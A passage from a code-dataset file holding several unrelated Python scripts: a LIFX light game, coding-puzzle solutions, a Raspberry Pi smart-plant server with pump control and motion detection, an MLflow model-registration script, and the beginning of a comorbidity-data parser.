strip.set_zone_colors(original_zones, 500, True)\n\ndef main():\n thread2 = threading.Thread(target=keyboard_listener, args=())\n thread2.start()\n lightDiscovery()\n\nif __name__==\"__main__\":\n main()","repo_name":"jamiedevivoo/Lifx-Experiments","sub_path":"lifx-race/lifx-race.py","file_name":"lifx-race.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5931185573","text":"a = []\nmaximum = 0\n\nfor _ in range(6):\n\ttmp = [int(x) for x in str(input()).split(\" \")]\n\ta.append(tmp)\n\nfor i in range(6):\n\tfor j in range(6):\n\t\tif (j + 2 < 6) and (i + 2 < 6):\n\t\t\tresult = a[i][j] + a[i][j+1] + a[i][j+2] + a[i+1][j+1] + a[i+2][j] + a[i+2][j+1] + a[i+2][j+2]\n\t\t\tif(result > maximum):\n\t\t\t\tmaximum = result\n\nprint(maximum)","repo_name":"ductnn/Python-tu","sub_path":"basic/Day3/Day11.py","file_name":"Day11.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33211947072","text":"import RPi.GPIO as GPIO\nimport adafruit_ads1x15.ads1115 as ADS\nfrom adafruit_ads1x15.analog_in import AnalogIn\nimport board\nimport busio\nimport picamera\nfrom datetime import datetime\nfrom time import sleep \nfrom time import time\nfrom curses.ascii import isdigit #문자열이 숫자로 구성되었는지 확인하는 함수\nimport threading \nimport socket as s\nimport cv2\nimport numpy as np\nfrom datetime import datetime\nimport urllib.request\nimport glob\nimport os\n\n\n#========================================목차===========================================\n\n# 드래그 후 ctrl+F로 검색하여 바로가기\n\n#1) 하드코딩 구간\n#2) 전역변수 선언 구간\n#3) 소켓 선언 구간\n#4) 센서 선언 구간\n#5) 함수 선언 구간\n#6) 스레드 선언 구간\n#7) 실행 구간\n\n\n\n#========================================1) 하드코딩 구간 ===========================================\n\nip = '' #소켓통신을 할 대상기기의 IP (''로 둘 경우, 모든 host를 의미 / 단, 이 경우 send 대신 sendto로 addr를 명시해줘야 함)\nport = 3022 #사용할 포트 / 1024 ~ 49151에서 임의지정\ninterval = 2 #송수신할 시간간격(sec)\ndata_size = 1024 #전송받을 데이터 크기(bytes)\n\n\n\n#========================================2) 전역변수 선언 구간 ======================================\n\n_message_queue = [] #출력할 메세지를 저장하는 큐\nis_end = False #전체 프로그램 종료를 의미\n\nhumity_target = 50 #목표 습도\nhumity_real = -1 #실제 습도\n\nwater_moter_err = False #수위모터에 에러가 있는지\ncooler_moter_err = False #스프링쿨러에 에러가 있는지\n\ncapture_option = None #영상을 캡처하여 저장/전송할 주기\n\nserver_socket = None #서버 소켓 객체\nclient_socket = None #클라이언트 소켓 객체\nclient_addr = None #클라이언트 주소\nsocket_is_connected = False #소켓이 연결되었는지를 저장하는 변수\n\nconnect_err = False #thread_connect가 비정상적으로 종료되었는지\nreceive_err = False #thread_receive가 비정상적으로 종료되었는지\nsend_err = False #thread_send가 비정상적으로 종료되었는지\nvideo_send_err = False #thread_video_send가 비정상적으로 종료되었는지\npicture_send_err = False #thread_picture_send가 비정상적으로 종료되었는지\nsound_send_err = False #thread_sound_send가 비정상적으로 종료되었는지\n\ncamera = picamera.PiCamera() #웹캠(식물 전방 카메라)\ncamera.resolution = (1920, 1080) #해상도 설정\n\ndirectory_picture = '/home/kangmugu/CAMPictures/' #캡처한 사진을 저장할 경로\ndirectory_movie = '/home/kangmugu/Movies/' #모션감지 영상을 저장할 경로\nurl_stream = \"http://192.168.0.194:8081/?action=stream\" #동영상 스트림 url\n\n\n\n#========================================3) 소켓 선언 구간 ========================================\n\nserver_socket = s.socket(s.AF_INET, s.SOCK_STREAM) #IPv4, TCP 프로토콜 방식의 소켓 객체 생성\nserver_socket.bind(('',port)) #해당 ip/port에 대해 소켓 객체를 연결\nserver_socket.listen(10) #연결을 허용할 client의 수\n\n\n\n#========================================4) 센서 선언 구간 ========================================\n\nI2C = busio.I2C(board.SCL, board.SDA) #습도 센서를 위한 i2c\nads = ADS.ADS1115(I2C) #습도 센서를 위한 ads\n\nWL1 = 17 #저수 하단 핀\nWL2 = 27 #저수 상단 핀\n\nENA_T = 21 #저수 펌프 가동/정지 핀\nIN1_T = 20 #저수 펌프 정방향 회전 설정 핀\nIN2_T = 16 #저수 펌프 역방향 회전 설정 핀\n\nENA_S = 13 #스프링쿨러 펌프 가동/정지 핀\nIN1_S = 6 #스프링쿨러 펌프 정방향 회전 설정 핀\nIN2_S = 5 #스프링쿨러 펌프 역방향 회전 설정 핀\n\n#핀 번호를 참조하는 방식 지정 (BOARD: 보드번호 참조, BCM: 핀번호 참조)\nGPIO.setmode(GPIO.BCM) \nGPIO.setwarnings(False) #setwarning false 오류가 뜨는 경우 작성\n\n#GPIO.setup(핀번호, GPIO.IN): 입력핀 설정\nGPIO.setup(WL1, GPIO.IN) \nGPIO.setup(WL2, GPIO.IN)\n\n#GPIO.setup(핀번호, GPIO.OUT): 출력핀 설정\nGPIO.setup(ENA_T, GPIO.OUT)\nGPIO.setup(IN1_T, GPIO.OUT)\nGPIO.setup(IN2_T, GPIO.OUT)\nGPIO.setup(ENA_S, GPIO.OUT)\nGPIO.setup(IN1_S, GPIO.OUT)\nGPIO.setup(IN2_S, GPIO.OUT)\n\n#GPIO.output(핀번호, GPIO.LOW): 출력핀에 0V를 내보낼 때 상태 설정\nGPIO.output(ENA_T, GPIO.LOW)\nGPIO.output(IN1_T, GPIO.LOW)\nGPIO.output(IN2_T, GPIO.LOW)\nGPIO.output(ENA_S, GPIO.LOW)\nGPIO.output(IN1_S, GPIO.LOW)\nGPIO.output(IN2_S, GPIO.LOW)\n\n\n\n#========================================5) 함수 선언 구간 ========================================\n\n#출력할 message를 queue에 넣는 함수\n#=> 각 thread가 동시에 출력을 할 경우, 메세지가 끊겨서 출력될 수 있다\n#=> 이를 방지하기 위해, 메세지 queue에 메세지들을 넣고, 한 스레드가 담당하여 출력한다.\n\n#출력할 메세지와 기록 시간을 queue에 저장하는 함수\ndef append_message(msg):\n global _message_queue\n cur_time = datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n _message_queue.append(\"{} {}\".format(cur_time,msg))\n\n\n#모터를 회전시키는 함수 #수정해야함!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\ndef moter_run(ENA, IN1, IN2, dic): \n #ENA, IN1, IN2: 회전�� 모터\n #dic: 회전방향(True 정방향, False 역방향)\n\n GPIO.output(ENA, 1) #모터 가동\n GPIO.output(IN1, int(dic))\n GPIO.output(IN2, int(not dic))\n\n\n#모터를 정지시키는 함수\ndef moter_stop(ENA, IN1, IN2):\n #ENA, IN1, IN2: 회전할 모터\n\n GPIO.output(ENA, 0)\n GPIO.output(IN1, 0)\n GPIO.output(IN2, 0)\n\n\n#웹캠으로 사진을 찍는 함수\ndef capture_plant():\n global camera\n global directory_picture\n \n now = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n camera.capture(directory_picture + now+'.png') #해당 경로에 캡처사진 저장\n\n\n#동영상 스트림이 정상 작동하는지 확인하는 함수\ndef url_on(url):\n try:\n urllib.request.urlopen(url, timeout=2)\n return True\n except:\n return False\n\n\ndef remove_movie():\n Max_Movies = 10 # 영상 폴더 내 최대 영상 개수\n list_of_files = glob.glob(directory_movie+'*.mp4') # * means all if need specific format then *.csv\n\n oldest_file = min(list_of_files, key=os.path.getctime)\n if len(list_of_files) > Max_Movies:\n os.remove(oldest_file)\n\n\n#시스템 전역변수들을 출력하는 함수\ndef state_message():\n global humity_target #목표 습도(int)\n global humity_real #실제 습도(int)\n\n global water_moter_err #수위모터에 에러가 있는지(bool)\n global cooler_moter_err #스프링쿨러에 에러가 있는지(bool)\n\n global capture_option #영상을 캡처하여 저장/전송할 주기\n\n global connect_err #thread_connect가 비정상적으로 종료되었는지\n global receive_err #thread_receive가 비정상적으로 종료되었는지\n global send_err #thread_send가 비정상적으로 종료되었는지\n global video_send_err #thread_video_send가 비정상적으로 종료되었는지\n global picture_send_err #thread_picture_send가 비정상적으로 종료되었는지\n global sound_send_err #thread_sound_send가 비정상적으로 종료되었는지\n\n msg=\"\"\"[_main] \n <현재 상태>\n -목표 습도: {}\n -실제 습도: {}\n -캡처 주기: {}\n \n <현재 시스템 상태 - 디버깅용>\n -water_moter_err: {}\n -cooler_moter_err: {}\n -connect_err: {}\n -receive_err: {}\n -send_err: {}\n -video_send_err: {}\n -picture_send_err: {}\n -sound_send_err: {}\n \"\"\".format(humity_target, humity_real, capture_option,water_moter_err,cooler_moter_err,connect_err,receive_err,send_err,video_send_err,picture_send_err,sound_send_err)\n append_message(msg)\n\n\n#시스템 메세지를 출력하는 함수\ndef print_message():\n global _message_queue\n \n state_message()\n \n print(\"\\n\".join(_message_queue))\n _message_queue = []\n print()\n \n\n\n#========================================6) 스레드 선언 구간 ======================================\n\n#스레드에서 실행할 함수명은 앞에 _를 붙였음\n\n#소켓 연결용 스레드(단기)\ndef _connect():\n global is_end\n global connect_err\n global server_socket\n global client_socket\n global client_addr\n global socket_is_connected\n err_cnt = 0 #에러를 카운트할 변수\n\n append_message(\"[_connect] <시작>\")\n connect_err = False\n\n if not is_end and socket_is_connected:\n append_message(\"[_connect] 소켓이 이미 연결되어 있습니다\")\n append_message(\"[_connect] <종료>\")\n return\n \n while not is_end:\n try:\n append_message(\"[_connect] 연결 시도 중...\")\n client_socket, client_addr = server_socket.accept() #연결될 때까지 대기\n append_message(\"[_connect] 연결 성공 with {}\".format(client_addr))\n socket_is_connected = True\n err_cnt = 0\n break\n \n except Exception as e: \n append_message(\"[_connect] 에러: {}\".format(e))\n sleep(interval) #interval sec만큼 대기\n err_cnt += 1\n if err_cnt > 10:\n append_message(\"[_connect] 에러가 {}초 이상 수정되지 않았습니다. 연결을 중단합니다.\".format(interval*err_cnt)) \n connect_err = True\n break\n\n append_message(\"[_connect] <종료>\")\n\nthread_connect = threading.Thread(target=_connect)\n\n\n#안드로이드의 연락을 받는 스레드(유지)\ndef _receive():\n global is_end\n global receive_err\n global server_socket\n global client_socket\n global client_addr\n global data_size\n global interval\n global socket_is_connected\n global humity_target\n global capture_option\n err_cnt = 0 #에러를 카운트할 변수\n\n append_message(\"[_receive] <시작>\")\n receive_err = False\n\n while not is_end:\n try: \n recv_data = client_socket.recv(data_size).decode('utf-8') #받을 때까지 대기\n append_message(\"[_receive] 수신: {}\".format(recv_data))\n \n s_idx = recv_data.find(\"[\")\n e_idx = recv_data.find(\"]\")\n\n recv_data = recv_data[s_idx+1:e_idx].split(\",\")\n #[습도,경보,캡처] 형식으로 데이터를 전송받음\n\n humity_target = recv_data[0] #0~100 사이의 수로 구성\n siren_option = recv_data[1] #\"siren\" 또는 \"tts 읽을 문장\"으로 구성\n capture_option = recv_data[2] #숫자1 숫자2.. 로 구성\n\n sleep(interval) #잠시 대기 후 송수신 (오버헤드를 줄이기 위함)\n \n except Exception as e: \n if socket_is_connected: #이미 연결이 되어있다면\n append_message(\"[_receive] 에러:\",e)\n sleep(interval)\n err_cnt += 1\n\n if err_cnt > 10: \n append_message(\"[_receive] 에러가 {}초 이상 수정되지 않았습니다. 연결을 중단합니다\".format(interval*err_cnt))\n receive_err = True\n socket_is_connected = False\n break\n \n else:\n append_message(\"[_receive] 소켓이 연결되지 않았습니다:\",e)\n receive_err = True\n break\n \n append_message(\"[_receive] <종료>\")\n\nthread_receive = threading.Thread(target=_receive)\nthread_receive.daemon = True #main thread가 종료되면 같이 종료\n\n\n#안드로이드에게 연락을 보내는 스레드(유지)\ndef _send(): #send_data: 보낼 메세지(str)\n global is_end\n global send_err\n global client_socket\n global socket_is_connected\n global humity_real\n global water_moter_err\n global cooler_moter_err\n err_cnt = 0 #에러를 카운트할 변수\n \n \n #[습도,T이상,S이상]\n send_data = \"[{},{},{}]\".format(humity_real, int(water_moter_err), int(cooler_moter_err))\n \n append_message(\"[_send] <시작>\")\n send_err = False\n\n while not is_end:\n try:\n append_message(\"[_send] 송신: {}\".format(send_data))\n client_socket.send(send_data.encode('utf-8')) #연결된 client에게 데이터를 전송\n append_message(\"[_send] 송신 완료\")\n \n sleep(interval) #잠시 대기 후 송수신 (오버헤드를 줄이기 위함)\n \n except Exception as e:\n if socket_is_connected: #이미 연결이 되어있다면\n append_message(\"[_send] 에러:\",e)\n sleep(interval)\n err_cnt += 1\n\n if err_cnt > 10: \n append_message(\"[_send] 에러가 {}초 이상 수정되지 않았습니다. 연결을 중단합니다\".format(interval*err_cnt))\n client_socket.close()\n server_socket.close()\n socket_is_connected = False\n send_err = True\n break\n \n else:\n append_message(\"[_send] 소켓이 연결되지 않았습니다:\",e)\n send_err = True\n break\n \n append_message(\"[_send] <종료>\")\n\nthread_send = threading.Thread(target=_send)\nthread_send.daemon = True\n\n\n#안드로이드에게 영상을 보내는 스레드(단기)\ndef _video_send(send_data):\n append_message(\"[_video_send] <종료>\")\n pass\n\nthread_video_send = threading.Thread(target=_video_send)\nthread_video_send.daemon = True\n\n\n#센서에게 소리를 보내는 스레드(단기)\ndef _sound_send(send_data):\n append_message(\"[_sound_send] <종료>\")\n pass\n\nthread_sound_send = threading.Thread(target=_sound_send)\nthread_sound_send.daemon = True\n\n\n#센서 조정용 스레드(유지)\ndef _sensor():\n global is_end\n global humity_real\n global humity_target\n global water_moter_err\n global cooler_moter_err\n \n water_level_bottom_cnt = 0 #물높이가 최저가 될 때마다 +1\n humity_low_cnt = 0 #습도가 낮을 때마다 +1\n \n water_moter_on = False #모터가 켜져있는지 확인하는 변수\n cooler_moter_on = False #모터가 켜져있는지 확인하는 변수\n \n append_message(\"[_sensor] <시작>\")\n\n while not is_end:\n #저수탱크 모터 조정 파트\n try:\n water_moter_err = False\n \n water_level_bottom = GPIO.input(WL1) #저수탱크 하단 센서에서 값을 받아옴\n water_level_top = GPIO.input(WL2) #저수탱크 상단 센서에서 값을 받아옴\n \n if water_level_bottom == 0: #저수탱크 하단에 물이 없으면\n if not water_moter_on: #모터가 꺼져있으면\n moter_run(ENA_T, IN1_T, IN2_T,True) #모터 작동\n append_message(\"[_sensor] 저수탱크 모터 작동\")\n \n else: #모터가 켜져있으면\n water_level_bottom_cnt+=1 #물이 없는 상태 카운��\n if water_level_bottom_cnt > 10: raise #10회 초과 시 에러처리\n\n elif water_level_top == 1: #저수탱크 상단에 물이 있으면\n if water_moter_on: #모터가 켜져있으면\n moter_stop(ENA_T, IN1_T, IN2_T) #모터 중지\n append_message(\"[_sensor] 저수탱크 모터 중지\")\n \n else:\n water_level_bottom_cnt = 0 #카운트 초기화\n \n except Exception as e:\n water_moter_err = True #에러가 발생했다고 체크\n append_message(\"[_sensor] 저수탱크 에러 발생: {}\".format(e))\n\n \n #스프링쿨러 조정 파트\n try:\n cooler_moter_err = False\n \n adcValue = AnalogIn(ads, ADS.P1).value #습도 센서에서 값을 받아옴\n humity_real = 64-int(adcValue/1023) #수정해야함!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n \n if humity_real < humity_target: #습도가 목표치보다 낮으면\n if not cooler_moter_on: #모터가 꺼져있으면\n moter_run(ENA_S, IN1_S, IN2_S, True) #스프링쿨러 작동\n append_message(\"[_sensor] 스프링쿨러 작동\")\n \n else: #모터가 켜져있으면\n humity_low_cnt+=1 #저습도 상태 카운트\n if humity_low_cnt > 10: raise #10회 초과 시 에러처리\n\n else : #그 외엔\n humity_low_cnt = 0 #카운트 초기화\n moter_stop(ENA_S, IN1_S, IN2_S) #스프링쿨러 중지\n append_message(\"[_sensor] 스프링쿨러 중지\")\n\n except Exception as e:\n cooler_moter_err = True #에러가 발생했다고 체크\n append_message(\"[_sensor] 스프링쿨러 에러 발생: {}\".format(e))\n\n sleep(interval)\n \n append_message(\"[_sensor] <종료>\")\n\nthread_sensor = threading.Thread(target=_sensor)\nthread_sensor.daemon = True\n\n\n#동작 감지용 스레드(유지)\ndef _motion():\n global is_end\n global url_stream\n thresh = 25 #문턱값\n max_diff = 300 #차이 허용 최대값\n a, b, c = None, None, None #프레임을 담을 변수\n start_time = None #시작 시간을 저장할 변수\n fourcc = cv2.VideoWriter_fourcc(*'mp4v') #저장 형식\n record = False\n detected = False\n \n append_message(\"[_motion] <시작>\")\n \n os.system('sh mjpg.sh &')\n append_message(\"[_motion] 스트리밍 프로그램 시작\")\n\n while not is_end and not url_on(url_stream):\n append_message(\"[_motion] 스트리밍 연결 시도 중..\")\n sleep(1)\n \n cap = cv2.VideoCapture(url_stream)\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\n while not is_end and not cap.isOpened():\n cap = cv2.VideoCapture(url_stream)\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n \n append_message(\"[_motion] 스트리밍 연결 성공\")\n ret, a = cap.read() #ret: 정상적으로 읽어왔는지, a: 읽어온 프레임\n ret, b = cap.read() \n \n while not is_end and ret: \n ret, c = cap.read() \n draw = c.copy() \n if not ret: \n ret, c = cap.read() \n draw = c.copy() \n \n a_gray = cv2.cvtColor(a, cv2.COLOR_BGR2GRAY) #a 프레임을 흑백으로 색변환 \n b_gray = cv2.cvtColor(b, cv2.COLOR_BGR2GRAY) #b 프레임을 흑백으로 색변환\n c_gray = cv2.cvtColor(c, cv2.COLOR_BGR2GRAY) #c 프레임을 흑백으로 색변환\n \n diff1 = cv2.absdiff(a_gray, b_gray) #a,b에 대한 차이 프레임 \n diff2 = cv2.absdiff(b_gray, c_gray) #b,c에 대한 차이 프레임\n \n ret, diff1_t = cv2.threshold(diff1, thresh, 255, cv2.THRESH_BINARY) #문턱값 미만 픽셀을 0 처리한 프레임 \n ret, diff2_t = cv2.threshold(diff2, thresh, 255, cv2.THRESH_BINARY) #문턱값 미만 픽셀을 0 처리한 프레임 \n \n diff = cv2.bitwise_and(diff1_t, diff2_t) #두 프레임의 각 픽셀에 대한 and 연산 \n \n k = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3)) #커널의 형태, 커널의 크기 지정 \n diff = cv2.morphologyEx(diff, cv2.MORPH_OPEN, k) #모폴로지 연산을 통한 노이즈 제거 \n \n diff_cnt = cv2.countNonZero(diff)\n \n if diff_cnt > max_diff: \n nzero = np.nonzero(diff) \n cv2.rectangle(draw, #변환 전 이미지 프레임\n (min(nzero[1]), min(nzero[0])), #diff에서 0이 아닌 값 중 행, 열이 가장 작은 포인트 \n (max(nzero[1]), max(nzero[0])), #diff에서 0이 아닌 값 중 행, 열이 가장 큰 포인트 \n (0, 255, 0), #사각형을 그릴 색상 값 \n 2) #thickness \n \n cv2.putText(draw, \"Detected\", (10, 30), cv2.FONT_HERSHEY_DUPLEX, 0.5, (0, 0, 255))\n detected = True\n \n movietime = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n cv2.putText(draw, movietime, (10, 470), cv2.FONT_HERSHEY_DUPLEX, 0.5, (100, 100, 100))\n cv2.imshow('motion', draw)\n \n now = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\n if detected and not record:\n record = True\n start_time = time()\n video = cv2.VideoWriter(directory_movie +str(now)+ \".mp4\", fourcc, 15.0, (draw.shape[1], draw.shape[0]))\n \n if 'video' in locals() and time() > (start_time + 10):\n record = False\n detected = False\n video.release()\n \n if record: \n append_message(\"[_motion] <감지>\")\n video.write(draw)\n \n #저장된 파일을 전송하는 코드 추가 요망!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n \n a = b\n b = c\n \n if cv2.waitKey(1) & 0xFF == 27: break\n remove_movie()\n\n os.system('sudo killall mjpg_streamer')\n append_message(\"[_motion] <종료>\")\n\nthread_motion = threading.Thread(target=_motion)\nthread_motion.daemon = True\n\n\n\n#========================================7) 실행 구간 ============================================\nprint(\"[_main] <시작>\")\n\nthread_connect.start()\nthread_connect.join()\n\nthread_receive.start()\nthread_send.start()\nthread_sensor.start()\nthread_motion.start()\n\nwhile not is_end:\n \n #thread_connect가 정상 작동했는지 확인\n if connect_err:\n append_message(\"[_main] _connect 에러가 발생했습니다. 재시도합니다..\")\n try:\n server_socket.close()\n server_socket = s.socket(s.AF_INET, s.SOCK_STREAM) #IPv4, TCP 프로토콜 방식의 소켓 객체 생성\n server_socket.bind(('',port)) #해당 ip/port에 대해 소켓 객체를 연결\n server_socket.listen(10) #연결을 허용할 client의 수\n thread_connect.start()\n thread_connect.join()\n \n except:\n append_message(\"[_main] _connect 재시도 실패. 서버를 종료합니다.\")\n is_end = True\n \n #thread_receive가 정상 작동했는지 확인\n if receive_err:\n try:\n append_message(\"[_main] _receive 에러가 발생했습니다. 재시도합니다..\")\n thread_connect.start()\n thread_connect.join()\n thread_receive.start()\n \n except:\n append_message(\"[_main] _receive 재시도 실패. 서버를 종료합니다.\")\n is_end = True\n \n #thread_send가 정상 작동했는지 확인\n if send_err:\n try:\n append_message(\"[_main] _send 에러가 발생했습니다. 재시도합니다..\")\n thread_connect.start()\n thread_connect.join()\n thread_send.start()\n \n except:\n append_message(\"[_main] _send 재시도 실패. 서버를 종료합니다.\")\n is_end = True\n \n #thread_video_send가 정상 작동했는지 확인\n # if video_send_err:\n # try:\n # append_message(\"[_main] _video_send 에러가 발생했습니다. 재시도합니다..\")\n # pass\n \n # except:\n # append_message(\"[_main] _video_send 재시도 실패.\")\n \n #thread_picture_send가 정상 작동했는지 확인\n if picture_send_err:\n try:\n append_message(\"[_main] _picture_send 에러가 발생했습니다. 재시도합니다..\")\n pass\n \n except:\n append_message(\"[_main] _picture_send 재시도 실패.\")\n \n #thread_sound_send가 정상 작동했는지 확인\n # if sound_send_err:\n # try:\n # append_message(\"[_main] _sound_send 에러가 발생했습니다. 재시도합니다..\")\n # pass\n \n # except:\n # append_message(\"[_main] _sound_send 재시도 실패.\")\n \n\n print_message()\n sleep(interval)\n \n \nprint(\"[_main] <종료>\")\n\n\n\n\n ","repo_name":"dmlcjs0327/socket","sub_path":"iot_server.py","file_name":"iot_server.py","file_ext":"py","file_size_in_byte":24700,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71643613986","text":"def f(x):\n long_ = range(10**x)\n y = []\n for idx in long_:\n y.extend([idx*2])\n return y\n\ndef g(y):\n z = []\n for idx in f(y):\n z.append(idx/2)\n return z\n\npower = 7\n\na = g(power)\n","repo_name":"BCCN-Prog/materials_2016","sub_path":"profiling/denis_rahul/heavy_calc.py","file_name":"heavy_calc.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20824521282","text":"n, l = map(int, input().split())\ndata = [list(map(int, input().split())) for _ in range(n)]\nresult = 0\n\ndef pos(now) :\n for j in range(1, n) :\n if abs(now[j] - now[j-1]) > 1 : # 차이가 1이 넘으면 False 반환\n return False\n if now[j] < now[j-1] : # 현재 < 이전 이면 경사로를 만들기 위해 오른쪽을 스캔(낮은 곳에 설치)\n for k in range(l) :\n if j+k >= n or used[j+k] or now[j] != now[j+k] : # 범위가 넘어가거나 이미 설치되어 있거나 높이가 다른 경우 False 반환\n return False\n if now[j] == now[j+k] : # 높이가 같을 경우 방문 처리\n used[j+k] = True\n elif now[j] > now[j-1] : # 현재 > 이전 이면 경사로를 만들기 위해 왼쪽을 스캔(낮은 곳에 설치)\n for k in range(l) :\n if j-k-1 < 0 or now[j-1] != now[j-k-1] or used[j-k-1] : # 범위가 넘어가거나 이미 설치되어 있거나 높이가 다른 경우 False 반환\n return False\n if now[j-1] == now[j-k-1] : # 높이가 같을 경우 방문 처리\n used[j-k-1] = True\n return True\n\n# 가로 확인\nfor i in range(n) :\n used = [False for _ in range(n)] # 방문 처리\n if pos(data[i]) :\n result += 1\n\n# 세로 확인\nfor i in range(n) :\n used = [False for _ in range(n)] # 방문 처리\n if pos([data[j][i] for j in range(n)]) :\n result += 1\n\nprint(result)","repo_name":"Chang-Gyeonghyun/BeakJoon-code.plus","sub_path":"Basic-simulation&realization/14890.py","file_name":"14890.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"40151611604","text":"import os\nimport pickle\nimport click\nimport mlflow\n\nfrom mlflow.entities import ViewType\nfrom mlflow.tracking import MlflowClient\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_error\n\nHPO_EXPERIMENT_NAME = \"random-forest-hyperopt\"\nEXPERIMENT_NAME = \"random-forest-best-models\"\nRF_PARAMS = ['max_depth', 'n_estimators', 'min_samples_split', 'min_samples_leaf', 'random_state', 'n_jobs']\n\nmlflow.set_tracking_uri(\"http://127.0.0.1:5000\")\nmlflow.set_experiment(EXPERIMENT_NAME)\nmlflow.sklearn.autolog()\n\nmlflow.set_tag(\"rmse\", \"test_dataset\")\n\n\ndef load_pickle(filename):\n with open(filename, \"rb\") as f_in:\n return pickle.load(f_in)\n\n\ndef train_and_log_model(data_path, params):\n X_train, y_train = load_pickle(os.path.join(data_path, \"train.pkl\"))\n X_val, y_val = load_pickle(os.path.join(data_path, \"val.pkl\"))\n X_test, y_test = load_pickle(os.path.join(data_path, \"test.pkl\"))\n\n with mlflow.start_run():\n for param in RF_PARAMS:\n params[param] = int(params[param])\n\n rf = RandomForestRegressor(**params)\n rf.fit(X_train, y_train)\n\n # Evaluate model on the validation and test sets\n val_rmse = mean_squared_error(y_val, rf.predict(X_val), squared=False)\n mlflow.log_metric(\"val_rmse\", val_rmse)\n test_rmse = mean_squared_error(y_test, rf.predict(X_test), squared=False)\n mlflow.log_metric(\"test_rmse\", test_rmse)\n\n\n@click.command()\n@click.option(\n \"--data_path\",\n default=\"./output\",\n help=\"Location where the processed NYC taxi trip data was saved\"\n)\n@click.option(\n \"--top_n\",\n default=5,\n type=int,\n help=\"Number of top models that need to be evaluated to decide which one to promote\"\n)\ndef run_register_model(data_path: str, top_n: int):\n\n # can set tracking uri here\n client = MlflowClient()\n\n # Retrieve the top_n model runs and log the models\n # client.list_experiments() to see all experiments\n # client.create_experiment(name\"NAME\") to create a new experiment\n experiment = client.get_experiment_by_name(HPO_EXPERIMENT_NAME)\n runs = client.search_runs(\n experiment_ids=experiment.experiment_id,\n # filter_string=\"metrics.rmse < 6.8\",\n run_view_type=ViewType.ACTIVE_ONLY, \n # how many runs to return\n max_results=top_n,\n order_by=[\"metrics.rmse ASC\"]\n )\n for run in runs:\n # run.info.run_id is the id of the run\n # run.data.metrics[\"rmse\"] \n train_and_log_model(data_path=data_path, params=run.data.params)\n\n # Select the model with the lowest test RMSE\n experiment = client.get_experiment_by_name(EXPERIMENT_NAME)\n best_run = client.search_runs( \n experiment_ids=experiment.experiment_id,\n run_view_type=ViewType.ACTIVE_ONLY,\n max_results=top_n,\n order_by=[\"metrics.test_rmse ASC\"] \n )[0]\n\n best_model_uri = f\"runs:/{best_run.info.run_id}/model\"\n # Register the best model\n mlflow.register_model( \n model_uri=best_model_uri,\n name=\"nyc-taxi-random-forest-model\",\n )\n # client.list_registered_models() to see all registered models\n # latest_ver = client.get_latest_versions(name=\"MODEL_NAME\", stages=[\"Staging\"])\n # ver = laest_ver[0] -> ver.current_stage \n # client.transition_model_version_stage(name=\"MODEL_NAME\", version=ver.version, stage=\"Production\", archive_existing_versions=True)\n\n\nif __name__ == '__main__':\n run_register_model()","repo_name":"ChungWasawat/dtc_mlops_course","sub_path":"week2/register_model.py","file_name":"register_model.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26176703919","text":"# Author: Vivek Sriram\n# Last revised: 08/18/2021\n# ------------------------------------------------\n# Function: Given a directory of comorbidity data,\n#\t\t\tcreate a corresponding comorbidity map\n\n# Import statements\nimport csv\nimport argparse\nimport ast\nimport os\nimport sys\nimport glob\n\ninputFiles = \"/Users/viveksrm/Desktop/ukbbFemaleComorbidityData/*\"\nallComorbiditiesPath = \"/Users/viveksrm/Desktop/ukbbFemaleComorbidities.csv\"\n\n#comorbidityMap = set()\n#comorbidityMissingLinks = set()\ncomorbiditiesAll = set()\n\nfilesToBeParsed = glob.glob(inputFiles)\nif(len(filesToBeParsed) == 0):\n\tsys.exit('ERROR: No input files have been provided. Check the accuracy of file names for the --input-files argument')\n\ni = 1\nfor name in filesToBeParsed:\n\tprint(\"On phenotype \" + str(i) + \" out of \" + str(len(filesToBeParsed)))\n\twith open(name, 'r') as f:\n\t\tphenotype1 = name.split(\"/\")[5].split(\".csv\")[0].split(\"PheCode_\")[1] + \"_ld\"\n\t\tfirstLine = next(f)\n\n\t\tfileLines = f.readlines()[1:]\n\t\tfor line in fileLines:\n\t\t\tlineStripped = line.strip()\n\t\t\tlineAsArray = lineStripped.split(\",\")\n\n\t\t\tphenotype2 = lineAsArray[1].split(\"PheCode_\")[1]\n\t\t\tpreDecimalOfPhenotype2 = phenotype2.split(\".\")[0]\n\t\t\tif(len(preDecimalOfPhenotype2) == 1):\n\t\t\t\tphenotype2 = \"00\" + phenotype2\n\t\t\telif(len(preDecimalOfPhenotype2) == 2):\n\t\t\t\tphenotype2 = \"0\" + phenotype2\n\t\t\tphenotype2 = phenotype2 + \"_ld\"\n\n\t\t\tcoOccur = lineAsArray[3]\n\t\t\tphiValue = 